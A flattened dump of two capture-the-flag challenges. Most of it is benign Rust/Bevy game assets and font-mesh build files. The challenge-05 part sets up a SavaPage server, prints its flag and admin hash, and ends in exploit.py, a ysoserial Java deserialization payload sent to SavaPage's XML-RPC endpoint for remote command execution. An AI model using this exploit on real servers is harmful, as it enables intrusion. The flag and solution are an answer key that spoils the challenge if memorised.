3 12 | 13 | # [patch.crates-io] 14 | # ttf2mesh-sys = { path = "ttf2mesh-sys" } 15 | -------------------------------------------------------------------------------- /challenges/challenge-04/challenge/crates/charming-circuit-challenge/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "charming-circuit-challenge" 3 | version = "0.1.0" 4 | edition = "2021" 5 | 6 | [dependencies] 7 | bevy = { version = "0.12.0", default-features = false, features = [ 8 | "animation", 9 | "bevy_asset", 10 | "bevy_winit", 11 | "bevy_core_pipeline", 12 | "bevy_pbr", 13 | "bevy_render", 14 | "bevy_text", 15 | "bevy_ui", 16 | "multi-threaded", 17 | "png", 18 | "hdr", 19 | "jpeg", 20 | "x11", 21 | "tonemapping_luts", 22 | "default_font", 23 | "webgl2", 24 | ] } 25 | bevy_xpbd_3d = "0.3.2" 26 | ron = "0.8.1" 27 | serde = { version = "1.0.193", features = ["derive"] } 28 | thiserror = "1.0.50" 29 | wirelang = { path = "../wirelang", optional = true } 30 | map = { path = "../map" } 31 | bincode = "1.3.3" 32 | bevy_text_mesh = "0.9.0" 33 | 34 | [features] 35 | static-camera = [] 36 | embed = [] 37 | -------------------------------------------------------------------------------- /challenges/challenge-04/challenge/crates/charming-circuit-challenge/assets/fonts/FiraSans-Bold.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ZetaTwo/potluckctf/9a79e5951900812748efa249033368d459df1d61/challenges/challenge-04/challenge/crates/charming-circuit-challenge/assets/fonts/FiraSans-Bold.ttf -------------------------------------------------------------------------------- /challenges/challenge-04/challenge/crates/charming-circuit-challenge/assets/materials/cube.mat.ron: -------------------------------------------------------------------------------- 1 | MaterialProperties( 2 | base_color: Rgba( 3 | red: 0.75, 4 | green: 0.75, 5 | blue: 0.75, 6 | alpha: 1.0 7 | ), 8 | ) 9 | -------------------------------------------------------------------------------- /challenges/challenge-04/challenge/crates/charming-circuit-challenge/assets/materials/edge_active1.mat.ron: -------------------------------------------------------------------------------- 1 | MaterialProperties( 2 | inherit: "materials/edges.mat.ron", 3 | emissive_texture: "textures/edge_active1.png", 4 | ) 5 | -------------------------------------------------------------------------------- /challenges/challenge-04/challenge/crates/charming-circuit-challenge/assets/materials/edge_active2.mat.ron: -------------------------------------------------------------------------------- 1 | MaterialProperties( 2 | inherit: "materials/edges.mat.ron", 3 | emissive_texture: "textures/edge_active2.png", 4 | ) 5 | -------------------------------------------------------------------------------- /challenges/challenge-04/challenge/crates/charming-circuit-challenge/assets/materials/edge_double_active.mat.ron: -------------------------------------------------------------------------------- 1 | MaterialProperties( 2 | inherit: "materials/edges.mat.ron", 3 | emissive_texture: "textures/edge_double_active.png", 4 | ) 5 | -------------------------------------------------------------------------------- /challenges/challenge-04/challenge/crates/charming-circuit-challenge/assets/materials/edge_inactive.mat.ron: -------------------------------------------------------------------------------- 1 | MaterialProperties( 2 | inherit: "materials/edges.mat.ron", 3 | emissive_texture: "textures/edge_inactive.png", 4 | ) 5 | -------------------------------------------------------------------------------- /challenges/challenge-04/challenge/crates/charming-circuit-challenge/assets/materials/edge_overactive1.mat.ron: -------------------------------------------------------------------------------- 1 | MaterialProperties( 2 | inherit: "materials/edges.mat.ron", 3 | emissive_texture: "textures/edge_overactive1.png", 4 | ) 5 | -------------------------------------------------------------------------------- /challenges/challenge-04/challenge/crates/charming-circuit-challenge/assets/materials/edge_overactive2.mat.ron: -------------------------------------------------------------------------------- 1 | MaterialProperties( 2 | inherit: "materials/edges.mat.ron", 3 | emissive_texture: "textures/edge_overactive2.png", 4 | ) 5 | -------------------------------------------------------------------------------- /challenges/challenge-04/challenge/crates/charming-circuit-challenge/assets/materials/edges.mat.ron: -------------------------------------------------------------------------------- 1 | MaterialProperties( 2 | inherit: "materials/glass.mat.ron", 3 | emissive: Rgba( 4 | red: 10.0, 5 | green: 10.0, 6 | blue: 10.0, 7 | alpha: 1.0, 8 | ), 9 | animated: true, 10 | ) 11 | -------------------------------------------------------------------------------- /challenges/challenge-04/challenge/crates/charming-circuit-challenge/assets/materials/glass.mat.ron: -------------------------------------------------------------------------------- 1 | MaterialProperties( 2 | base_color: Rgba( 3 | red: 0.3, 4 | green: 0.3, 5 | blue: 0.3, 6 | alpha: 0.8 7 | ), 8 | perceptual_roughness: 0.5, 9 | reflectance: 0.2, 10 | ior: 1.55, 11 | diffuse_transmission: 0.5, 12 | specular_transmission: 0.7, 13 | attenuation_distance: 20.0, 14 | thickness: 1.8, 15 | attenuation_color: Rgba( 16 | red: 0.0, 17 | green: 0.0, 18 | blue: 0.0, 19 | alpha: 0.4, 20 | ), 21 | // alpha_mode: "blend", 22 | ) 23 | -------------------------------------------------------------------------------- /challenges/challenge-04/challenge/crates/charming-circuit-challenge/assets/materials/node_active.mat.ron: -------------------------------------------------------------------------------- 1 | MaterialProperties( 2 | inherit: "materials/nodes.mat.ron", 3 | emissive: Rgba( 4 | red: 15.0, 5 | green: 1.5, 6 | blue: 7.5, 7 | alpha: 1.0, 8 | ), 9 | emissive_texture: "textures/node_active.png", 10 | ) 11 | -------------------------------------------------------------------------------- /challenges/challenge-04/challenge/crates/charming-circuit-challenge/assets/materials/node_active_next2.mat.ron: -------------------------------------------------------------------------------- 1 | MaterialProperties( 2 | inherit: "materials/nodes.mat.ron", 3 | emissive: Rgba( 4 | red: 2.986607142857143, 5 | green: 0.09614520258041165, 6 | blue: 0.48072601290205824, 7 | alpha: 1.0, 8 | ), 9 | emissive_texture: "textures/node_active_next2.png", 10 | ) 11 | -------------------------------------------------------------------------------- /challenges/challenge-04/challenge/crates/charming-circuit-challenge/assets/materials/node_active_next3.mat.ron: -------------------------------------------------------------------------------- 1 | MaterialProperties( 2 | inherit: "materials/nodes.mat.ron", 3 | emissive: Rgba( 4 | red: 2.986607142857143, 5 | green: 0.019229040516081597, 6 | blue: 0.09614520258040798, 7 | alpha: 1.0, 8 | ), 9 | emissive_texture: "textures/node_active_next3.png", 10 | ) 11 | -------------------------------------------------------------------------------- /challenges/challenge-04/challenge/crates/charming-circuit-challenge/assets/materials/node_active_next4.mat.ron: -------------------------------------------------------------------------------- 1 | MaterialProperties( 2 | inherit: "materials/nodes.mat.ron", 3 | emissive: Rgba( 4 | red: 2.986607142857143, 5 | green: 0.0038458081032162195, 6 | blue: 0.019229040516081097, 7 | alpha: 1.0, 8 | ), 9 | emissive_texture: "textures/node_active_next4.png", 10 | ) 11 | -------------------------------------------------------------------------------- /challenges/challenge-04/challenge/crates/charming-circuit-challenge/assets/materials/node_inactive1.mat.ron: -------------------------------------------------------------------------------- 1 | MaterialProperties( 2 | inherit: "materials/nodes.mat.ron", 3 | emissive: Rgba( 4 | red: 0.0, 5 | green: 0.4807260129020777, 6 | blue: 2.4036300645103887, 7 | alpha: 1.0, 8 | ), 9 | emissive_texture: "textures/node_inactive1.png", 10 | ) 11 | -------------------------------------------------------------------------------- /challenges/challenge-04/challenge/crates/charming-circuit-challenge/assets/materials/node_inactive2.mat.ron: -------------------------------------------------------------------------------- 1 | MaterialProperties( 2 | inherit: "materials/nodes.mat.ron", 3 | emissive: Rgba( 4 | red: 0.0, 5 | green: 0.09614520258041165, 6 | blue: 0.48072601290205824, 7 | alpha: 1.0, 8 | ), 9 | emissive_texture: "textures/node_inactive2.png", 10 | ) 11 | -------------------------------------------------------------------------------- /challenges/challenge-04/challenge/crates/charming-circuit-challenge/assets/materials/node_inactive3.mat.ron: -------------------------------------------------------------------------------- 1 | MaterialProperties( 2 | inherit: "materials/nodes.mat.ron", 3 | emissive: Rgba( 4 | red: 0.0, 5 | green: 0.019229040516081597, 6 | blue: 0.09614520258040798, 7 | alpha: 1.0, 8 | ), 9 | emissive_texture: "textures/node_inactive3.png", 10 | ) 11 | -------------------------------------------------------------------------------- /challenges/challenge-04/challenge/crates/charming-circuit-challenge/assets/materials/node_inactive4.mat.ron: -------------------------------------------------------------------------------- 1 | MaterialProperties( 2 | inherit: "materials/nodes.mat.ron", 3 | emissive: Rgba( 4 | red: 0.0, 5 | green: 0.0038458081032162195, 6 | blue: 0.019229040516081097, 7 | alpha: 1.0, 8 | ), 9 | emissive_texture: "textures/node_inactive4.png", 10 | ) 11 | -------------------------------------------------------------------------------- /challenges/challenge-04/challenge/crates/charming-circuit-challenge/assets/materials/nodes.mat.ron: -------------------------------------------------------------------------------- 1 | MaterialProperties( 2 | inherit: "materials/glass.mat.ron", 3 | base_color: Rgba( 4 | red: 0.3, 5 | green: 0.3, 6 | blue: 0.3, 7 | alpha: 0.8, 8 | ), 9 | emissive: Rgba( 10 | red: 15.0, 11 | green: 15.0, 12 | blue: 15.0, 13 | alpha: 1.0, 14 | ), 15 | animated: true, 16 | ) 17 | -------------------------------------------------------------------------------- /challenges/challenge-04/challenge/crates/charming-circuit-challenge/assets/models/signpost.glb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ZetaTwo/potluckctf/9a79e5951900812748efa249033368d459df1d61/challenges/challenge-04/challenge/crates/charming-circuit-challenge/assets/models/signpost.glb -------------------------------------------------------------------------------- /challenges/challenge-04/challenge/crates/charming-circuit-challenge/assets/static_camera.transform.ron: -------------------------------------------------------------------------------- 1 | StaticTransform( 2 | translation: Vec3( 3 | -127.0, 4 | 18.0, 5 | 371.0, 6 | ), 7 | euler: EulerAngles( 8 | yaw: -70.0, 9 | pitch: -30.0 10 | ), 11 | ) 12 | -------------------------------------------------------------------------------- /challenges/challenge-04/challenge/crates/charming-circuit-challenge/assets/textures/edge_active1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ZetaTwo/potluckctf/9a79e5951900812748efa249033368d459df1d61/challenges/challenge-04/challenge/crates/charming-circuit-challenge/assets/textures/edge_active1.png -------------------------------------------------------------------------------- /challenges/challenge-04/challenge/crates/charming-circuit-challenge/assets/textures/edge_active2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ZetaTwo/potluckctf/9a79e5951900812748efa249033368d459df1d61/challenges/challenge-04/challenge/crates/charming-circuit-challenge/assets/textures/edge_active2.png -------------------------------------------------------------------------------- /challenges/challenge-04/challenge/crates/charming-circuit-challenge/assets/textures/edge_double_active.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ZetaTwo/potluckctf/9a79e5951900812748efa249033368d459df1d61/challenges/challenge-04/challenge/crates/charming-circuit-challenge/assets/textures/edge_double_active.png -------------------------------------------------------------------------------- /challenges/challenge-04/challenge/crates/charming-circuit-challenge/assets/textures/edge_inactive.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ZetaTwo/potluckctf/9a79e5951900812748efa249033368d459df1d61/challenges/challenge-04/challenge/crates/charming-circuit-challenge/assets/textures/edge_inactive.png -------------------------------------------------------------------------------- /challenges/challenge-04/challenge/crates/charming-circuit-challenge/assets/textures/edge_overactive1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ZetaTwo/potluckctf/9a79e5951900812748efa249033368d459df1d61/challenges/challenge-04/challenge/crates/charming-circuit-challenge/assets/textures/edge_overactive1.png -------------------------------------------------------------------------------- /challenges/challenge-04/challenge/crates/charming-circuit-challenge/assets/textures/edge_overactive2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ZetaTwo/potluckctf/9a79e5951900812748efa249033368d459df1d61/challenges/challenge-04/challenge/crates/charming-circuit-challenge/assets/textures/edge_overactive2.png -------------------------------------------------------------------------------- /challenges/challenge-04/challenge/crates/charming-circuit-challenge/assets/textures/node_active.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ZetaTwo/potluckctf/9a79e5951900812748efa249033368d459df1d61/challenges/challenge-04/challenge/crates/charming-circuit-challenge/assets/textures/node_active.png -------------------------------------------------------------------------------- /challenges/challenge-04/challenge/crates/charming-circuit-challenge/assets/textures/node_active_next2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ZetaTwo/potluckctf/9a79e5951900812748efa249033368d459df1d61/challenges/challenge-04/challenge/crates/charming-circuit-challenge/assets/textures/node_active_next2.png -------------------------------------------------------------------------------- /challenges/challenge-04/challenge/crates/charming-circuit-challenge/assets/textures/node_active_next3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ZetaTwo/potluckctf/9a79e5951900812748efa249033368d459df1d61/challenges/challenge-04/challenge/crates/charming-circuit-challenge/assets/textures/node_active_next3.png -------------------------------------------------------------------------------- /challenges/challenge-04/challenge/crates/charming-circuit-challenge/assets/textures/node_active_next4.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ZetaTwo/potluckctf/9a79e5951900812748efa249033368d459df1d61/challenges/challenge-04/challenge/crates/charming-circuit-challenge/assets/textures/node_active_next4.png -------------------------------------------------------------------------------- /challenges/challenge-04/challenge/crates/charming-circuit-challenge/assets/textures/node_inactive1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ZetaTwo/potluckctf/9a79e5951900812748efa249033368d459df1d61/challenges/challenge-04/challenge/crates/charming-circuit-challenge/assets/textures/node_inactive1.png -------------------------------------------------------------------------------- /challenges/challenge-04/challenge/crates/charming-circuit-challenge/assets/textures/node_inactive2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ZetaTwo/potluckctf/9a79e5951900812748efa249033368d459df1d61/challenges/challenge-04/challenge/crates/charming-circuit-challenge/assets/textures/node_inactive2.png -------------------------------------------------------------------------------- /challenges/challenge-04/challenge/crates/charming-circuit-challenge/assets/textures/node_inactive3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ZetaTwo/potluckctf/9a79e5951900812748efa249033368d459df1d61/challenges/challenge-04/challenge/crates/charming-circuit-challenge/assets/textures/node_inactive3.png -------------------------------------------------------------------------------- /challenges/challenge-04/challenge/crates/charming-circuit-challenge/assets/textures/node_inactive4.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ZetaTwo/potluckctf/9a79e5951900812748efa249033368d459df1d61/challenges/challenge-04/challenge/crates/charming-circuit-challenge/assets/textures/node_inactive4.png -------------------------------------------------------------------------------- /challenges/challenge-04/challenge/crates/charming-circuit-challenge/assets/world.wiremap: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ZetaTwo/potluckctf/9a79e5951900812748efa249033368d459df1d61/challenges/challenge-04/challenge/crates/charming-circuit-challenge/assets/world.wiremap -------------------------------------------------------------------------------- /challenges/challenge-04/challenge/crates/charming-circuit-challenge/src/assets: -------------------------------------------------------------------------------- 1 | ../assets/ -------------------------------------------------------------------------------- /challenges/challenge-04/challenge/crates/charming-circuit-challenge/src/util.rs: -------------------------------------------------------------------------------- 1 | // #[serde(deserialize_with = "path")] 2 | pub fn option_deserializer<'de, T, D>(deserializer: D) -> Result, D::Error> 3 | where 4 | D: serde::Deserializer<'de>, 5 | T: serde::Deserialize<'de>, 6 | { 7 | T::deserialize(deserializer).map(Some) 8 | } 9 | 10 | pub fn fix_assetpath(path: &str) -> String { 11 | if cfg!(not(feature = "embed")) { 12 | path.to_string() 13 | } else { 14 | format!("embedded://charming_circuit_challenge/assets/{path}") 15 | } 16 | } 17 | -------------------------------------------------------------------------------- /challenges/challenge-04/challenge/crates/map/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "map" 3 | version = "0.1.0" 4 | edition = "2021" 5 | 6 | [dependencies] 7 | glam = { version = "0.24.2", features = ["serde"] } 8 | indexmap = { version = "2.1.0", features = ["serde"] } 9 | serde = { version = "1.0.193", features = ["derive"] } 10 | -------------------------------------------------------------------------------- /challenges/challenge-04/challenge/crates/map/src/lib.rs: -------------------------------------------------------------------------------- 1 | use glam::IVec3; 2 | 3 | #[derive(serde::Serialize, serde::Deserialize, Default, Debug)] 4 | pub struct Map { 5 | pub boxes: indexmap::IndexSet, 6 | pub nodes: indexmap::IndexMap, 7 | } 8 | 9 | #[derive(serde::Serialize, serde::Deserialize, Debug, PartialEq, Eq)] 10 | #[repr(u8)] 11 | pub enum Tile { 12 | Wire, 13 | ElectronHead, 14 | ElectronTail, 15 | } 16 | -------------------------------------------------------------------------------- /challenges/challenge-04/challenge/crates/wirelang/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "wirelang" 3 | version = "0.1.0" 4 | edition = "2021" 5 | 6 | [dependencies] 7 | codespan = "0.11.1" 8 | codespan-reporting = "0.11.1" 9 | logos = "0.13.0" 10 | lalrpop-util = "0.20.0" 11 | atty = "0.2.14" 12 | glam = "0.24.2" 13 | fnv = "1.0.7" 14 | color-eyre = "0.6.2" 15 | map = { path = "../map" } 16 | bincode = "1.3.3" 17 | 18 | [build-dependencies] 19 | lalrpop = "0.20.0" 20 | -------------------------------------------------------------------------------- /challenges/challenge-04/challenge/crates/wirelang/build.rs: -------------------------------------------------------------------------------- 1 | fn main() { 2 | lalrpop::process_root().unwrap(); 3 | } 4 | -------------------------------------------------------------------------------- /challenges/challenge-04/challenge/crates/wirelang/examples/interpret.rs: -------------------------------------------------------------------------------- 1 | use std::io::Read; 2 | 3 | use color_eyre::Result; 4 | use map::Map; 5 | use wirelang::{interpret::Direction, parse_str, ErrorCtx}; 6 | 7 | pub fn main() -> Result<()> { 8 | color_eyre::install()?; 9 | 10 | let mut input = String::new(); 11 | std::io::stdin().read_to_string(&mut input)?; 12 | 13 | let mut error_ctx = ErrorCtx::new("", input); 14 | 15 | if let Ok(program) = parse_str(&mut error_ctx) { 16 | let mut map = Map::default(); 17 | if let Ok(()) = program.interpret( 18 | &mut map, 19 | &mut glam::IVec3::default(), 20 | &mut Direction::default(), 21 | &mut error_ctx, 22 | ) { 23 | let map = bincode::serialize(&map)?; 24 | std::fs::write("foo.wiremap", &map)?; 25 | } 26 | } 27 | 28 | Ok(()) 29 | } 30 | -------------------------------------------------------------------------------- /challenges/challenge-04/challenge/crates/wirelang/examples/parse.rs: -------------------------------------------------------------------------------- 1 | use std::io::Read; 2 | 3 | use color_eyre::Result; 4 | use map::Map; 5 | use wirelang::{interpret::Direction, parse_str, ErrorCtx}; 6 | 7 | pub fn main() -> Result<()> { 8 | color_eyre::install()?; 9 | 10 | let mut input = String::new(); 11 | std::io::stdin().read_to_string(&mut input)?; 12 | 13 | let mut error_ctx = ErrorCtx::new("", input); 14 | 15 | if let Ok(program) = parse_str(&mut error_ctx) { 16 | let mut map = Map::default(); 17 | if let Ok(()) = program.interpret( 18 | &mut map, 19 | &mut glam::IVec3::default(), 20 | &mut Direction::default(), 21 | &mut error_ctx, 22 | ) { 23 | println!("{map:?}"); 24 | } 25 | } 26 | 27 | Ok(()) 28 | } 29 | -------------------------------------------------------------------------------- /challenges/challenge-04/challenge/crates/wirelang/src/error.rs: -------------------------------------------------------------------------------- 1 | use codespan::Span; 2 | 3 | #[derive(Clone, Debug, Eq, PartialEq)] 4 | pub struct LexicalError { 5 | pub err: String, 6 | pub span: Span, 7 | } 8 | 9 | impl std::fmt::Display for LexicalError { 10 | fn fmt(&self, fmt: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { 11 | if self.span.start().0 == 0 && self.span.end().0 == 0 { 12 | write!(fmt, "{}", self.err) 13 | } else { 14 | write!(fmt, "{} at {:?}", self.err, self.span) 15 | } 16 | } 17 | } 18 | 19 | impl LexicalError { 20 | pub fn new(err: E, span: Span) -> Self { 21 | LexicalError { 22 | err: err.to_string(), 23 | span, 24 | } 25 | } 26 | } 27 | -------------------------------------------------------------------------------- /challenges/challenge-04/challenge/crates/wirelang/src/grammar_helper.rs: -------------------------------------------------------------------------------- 1 | use codespan::{ByteIndex, Span}; 2 | 3 | pub fn sp(l: ByteIndex, r: ByteIndex) -> Span { 4 | Span::new(l, r) 5 | } 6 | -------------------------------------------------------------------------------- /challenges/challenge-04/challenge/ttf2mesh-sys/.cargo_vcs_info.json: -------------------------------------------------------------------------------- 1 | { 2 | "git": { 3 | "sha1": "d662262f10bc8cf7d81959424581072f38c2d16e" 4 | }, 5 | "path_in_vcs": "ttf2mesh-sys" 6 | } -------------------------------------------------------------------------------- /challenges/challenge-04/challenge/ttf2mesh-sys/Cargo.toml: -------------------------------------------------------------------------------- 1 | # THIS FILE IS AUTOMATICALLY GENERATED BY CARGO 2 | # 3 | # When uploading crates to the registry Cargo will automatically 4 | # "normalize" Cargo.toml files for maximal compatibility 5 | # with all versions of Cargo and also rewrite `path` dependencies 6 | # to registry (e.g., crates.io) dependencies. 7 | # 8 | # If you are reading this file be aware that the original Cargo.toml 9 | # will likely look very different (and much more reasonable). 10 | # See Cargo.toml.orig for the original contents. 11 | 12 | [package] 13 | edition = "2018" 14 | name = "ttf2mesh-sys" 15 | version = "0.1.3" 16 | description = "Rust FFI bindings for ttf2mesh" 17 | readme = "README.md" 18 | license = "MIT" 19 | repository = "https://github.com/blaind/ttf2mesh-rs" 20 | 21 | [build-dependencies.bindgen] 22 | version = "0.69" 23 | 24 | [build-dependencies.cc] 25 | version = "1.0" 26 | -------------------------------------------------------------------------------- /challenges/challenge-04/challenge/ttf2mesh-sys/Cargo.toml.orig: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "ttf2mesh-sys" 3 | version = "0.1.3" 4 | edition = "2018" 5 | description = "Rust FFI bindings for ttf2mesh" 6 | repository = "https://github.com/blaind/ttf2mesh-rs" 7 | license = "MIT" 8 | readme = "README.md" 9 | 10 | [build-dependencies] 11 | bindgen = "0.69" 12 | cc = "1.0" 13 | -------------------------------------------------------------------------------- /challenges/challenge-04/challenge/ttf2mesh-sys/README.md: -------------------------------------------------------------------------------- 1 | # ttf2mesh-sys 2 | 3 | This package provides FFI bindings to [ttf2mesh C-library](https://github.com/fetisov/ttf2mesh). 4 | 5 | This library should not be used directly. For higher-level Rust usage, see [ttf2mesh at crates.io](https://crates.io/crates/ttf2mesh) 6 | 7 | FFI bindings are provided for the supplied `ttf2mesh.c` self-contained code. 8 | 9 | The library is built at the build time, if you don't have compiler installed: 10 | 11 | ``` 12 | sudo apt-get install build-essential 13 | ``` 14 | -------------------------------------------------------------------------------- /challenges/challenge-04/challenge/ttf2mesh-sys/src/lib.rs: -------------------------------------------------------------------------------- 1 | #![allow(non_upper_case_globals)] 2 | #![allow(non_camel_case_types)] 3 | #![allow(non_snake_case)] 4 | 5 | include!(concat!(env!("OUT_DIR"), "/bindings.rs")); 6 | -------------------------------------------------------------------------------- /challenges/challenge-04/challenge/ttf2mesh-sys/ttf2mesh/debug-app-qt/textrenderer.h: -------------------------------------------------------------------------------- 1 | #ifndef TEXTRENDERER_H 2 | #define TEXTRENDERER_H 3 | 4 | #include 5 | #include 6 | #include 7 | #include "ttf2mesh.h" 8 | 9 | class TextRenderer : public QOpenGLWidget 10 | { 11 | Q_OBJECT 12 | public: 13 | explicit TextRenderer(QWidget *parent = nullptr); 14 | QString text; 15 | ttf_t *font; 16 | int textHeight; 17 | int meshQuality; 18 | 19 | int numTriangles; 20 | 21 | protected: 22 | void drawGlyph(ttf_mesh_t *mesh); 23 | void initializeGL(); 24 | void paintGL(); 25 | 26 | }; 27 | 28 | #endif // TEXTRENDERER_H 29 | -------------------------------------------------------------------------------- /challenges/challenge-04/challenge/ttf2mesh-sys/ttf2mesh/examples/build-any-qmake/common.pri: -------------------------------------------------------------------------------- 1 | CONFIG = c99 utf8_source 2 | QMAKE_CFLAGS = -std=c99 3 | 4 | INCLUDEPATH += ../src/common ../.. 5 | 6 | SOURCES += ../../ttf2mesh.c ../src/common/glwindow.c 7 | HEADERS += ../../ttf2mesh.h ../src/common/glwindow.h 8 | 9 | linux* { 10 | LIBS = -lm -lX11 -lGL 11 | } 12 | 13 | win32* { 14 | LIBS += -lgdi32 -lopengl32 -lglu32 15 | } 16 | -------------------------------------------------------------------------------- /challenges/challenge-04/challenge/ttf2mesh-sys/ttf2mesh/examples/build-any-qmake/glyph3d.pro: -------------------------------------------------------------------------------- 1 | TEMPLATE = app 2 | TARGET = glyph3d 3 | 4 | include(common.pri) 5 | 6 | SOURCES += ../src/glyph3d.c 7 | -------------------------------------------------------------------------------- /challenges/challenge-04/challenge/ttf2mesh-sys/ttf2mesh/examples/build-any-qmake/simple.pro: -------------------------------------------------------------------------------- 1 | TEMPLATE = app 2 | TARGET = simple 3 | 4 | include(common.pri) 5 | 6 | SOURCES += ../src/simple.c 7 | 8 | -------------------------------------------------------------------------------- /challenges/challenge-04/challenge/ttf2mesh-sys/ttf2mesh/examples/build-any-qmake/ttf2obj.pro: -------------------------------------------------------------------------------- 1 | TEMPLATE = app 2 | TARGET = ttf2obj 3 | 4 | include(common.pri) 5 | 6 | SOURCES = ../../ttf2mesh.c ../src/ttf2obj.c 7 | HEADERS = ../../ttf2mesh.h ../src/ttf2obj.c 8 | -------------------------------------------------------------------------------- /challenges/challenge-04/challenge/ttf2mesh-sys/ttf2mesh/examples/build-linux-make/Makefile: -------------------------------------------------------------------------------- 1 | TARGETS := simple glyph3d ttf2obj 2 | 3 | CFLAGS := -ggdb -Wall -Wextra -pedantic -std=c99 -D_POSIX_C_SOURCE=199309L 4 | LDFLAGS := -lm -lX11 -lGL 5 | IFLAGS := -I ../src -I ../src/common -I ../.. 6 | 7 | COMMON_SRC := ../src/common/glwindow.c ../src/common/glwindow.h ../../ttf2mesh.c ../../ttf2mesh.h 8 | 9 | simple: ../src/simple.c $(COMMON_SRC) 10 | gcc $(IFLAGS) $(CFLAGS) $(filter %.c,$^) -o $@ $(LDFLAGS) 11 | 12 | glyph3d: ../src/glyph3d.c $(COMMON_SRC) 13 | gcc $(IFLAGS) $(CFLAGS) $(filter %.c,$^) -o $@ $(LDFLAGS) 14 | 15 | ttf2obj: ../src/ttf2obj.c ../../ttf2mesh.c ../../ttf2mesh.h 16 | gcc $(IFLAGS) $(CFLAGS) $(filter %.c,$^) -o $@ $(LDFLAGS) 17 | 18 | all: $(TARGETS) 19 | 20 | clean: 21 | rm -rf $(TARGETS) 22 | -------------------------------------------------------------------------------- /challenges/challenge-04/challenge/ttf2mesh-sys/ttf2mesh/examples/src/common/glwindow.h: -------------------------------------------------------------------------------- 1 | #ifndef GLWINDOW_H 2 | #define GLWINDOW_H 3 | 4 | #if defined(__WINNT__) || defined(_WIN32) || defined(_WIN64) 5 | #include 6 | #endif 7 | 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | 14 | #ifdef __cplusplus 15 | extern "C" { 16 | #endif 17 | 18 | bool glwindow_create(int width, int height, const char *title); 19 | void glwindow_destroy(); 20 | void glwindow_repaint(); 21 | void glwindow_get_size(int *width, int *height); 22 | void glwindow_begin_draw(); 23 | void glwindow_end_draw(); 24 | void glwindow_set_timeout(int ms); 25 | void glwindow_eventloop(); 26 | uint32_t glwindow_time_ms(); 27 | 28 | extern void (*glwindow_key_cb)(wchar_t key, const bool ctrl_alt_shift[3], bool pressed); 29 | extern void (*glwindow_mouse_cb)(char btn, int x, int y); 30 | extern void (*glwindow_timer_cb)(); 31 | extern void (*glwindow_render_cb)(); 32 | 33 | #ifdef __cplusplus 34 | } 35 | #endif 36 | 37 | #endif 38 | -------------------------------------------------------------------------------- /challenges/challenge-04/challenge/ttf2mesh-sys/wrapper.h: -------------------------------------------------------------------------------- 1 | #include "ttf2mesh/ttf2mesh.h" -------------------------------------------------------------------------------- /challenges/challenge-05/challenge.yml: -------------------------------------------------------------------------------- 1 | ../../challenge-deployment/challenge-05/challenge.yml -------------------------------------------------------------------------------- /challenges/challenge-05/docker/build.sh: -------------------------------------------------------------------------------- 1 | docker build --build-arg 'FLAG=potluck{Its_Raining_0days_13E7}' --tag savaoury_chall . 2 | docker run -p 80:8631 -p 443:8632 --name savaoury -it savaoury_chall -------------------------------------------------------------------------------- /challenges/challenge-05/docker/config/admin.properties: -------------------------------------------------------------------------------- 1 | admin.password=58ea61dede04bd7457a4c026d04e6652e508e9c4fcc22fdd390beaa8ae39fa63 -------------------------------------------------------------------------------- /challenges/challenge-05/docker/config/papersize: -------------------------------------------------------------------------------- 1 | a4 2 | -------------------------------------------------------------------------------- /challenges/challenge-05/docker/config/printers.conf: -------------------------------------------------------------------------------- 1 | # Printer configuration file for CUPS v2.2.7 2 | # Written by cupsd 3 | # DO NOT EDIT THIS FILE WHEN CUPSD IS RUNNING 4 | -------------------------------------------------------------------------------- /challenges/challenge-05/docker/config/supervisor/supervisord.conf: -------------------------------------------------------------------------------- 1 | [supervisord] 2 | nodaemon=true 3 | 4 | [program:sshd] 5 | command=/usr/sbin/sshd -D 6 | startsecs = 0 7 | autorestart=false 8 | priority=1 9 | 10 | [program:cupsd] 11 | command=/bin/bash -c "/usr/sbin/cupsd -l" 12 | startsecs = 0 13 | autorestart=false 14 | priority=2 15 | 16 | [program:savapage] 17 | command=/bin/bash -c "/opt/savapage/server/bin/linux-x64/app-server start" 18 | startsecs = 0 19 | autorestart=false 20 | priority=3 21 | -------------------------------------------------------------------------------- /challenges/challenge-05/docker/readflag.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | int main(void) { 4 | char flag[256] = {0}; 5 | FILE* fp = fopen("/flag", "r"); 6 | if (!fp) { 7 | perror("fopen"); 8 | return 1; 9 | } 10 | if (fread(flag, 1, 256, fp) < 0) { 11 | perror("fread"); 12 | return 1; 13 | } 14 | puts(flag); 15 | fclose(fp); 16 | return 0; 17 | } -------------------------------------------------------------------------------- /challenges/challenge-05/solution/exploit.py: -------------------------------------------------------------------------------- 1 | import requests, os, subprocess, base64 2 | 3 | host = os.sys.argv[1] 4 | yso = os.sys.argv[2] 5 | cmd = os.sys.argv[3] 6 | 7 | payload = base64.b64encode(subprocess.check_output(["java","-jar",yso,"CommonsBeanutils1",cmd])).decode('latin1') 8 | 9 | post=""" 10 | 11 | Pwn 12 | 13 | 14 | 15 | 16 | 17 | test 18 | 19 | {} 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | """.format(payload) 28 | 29 | r = requests.post(host+"/xmlrpc/v1",data=post,headers={"Content-Type":"application/xml"}) 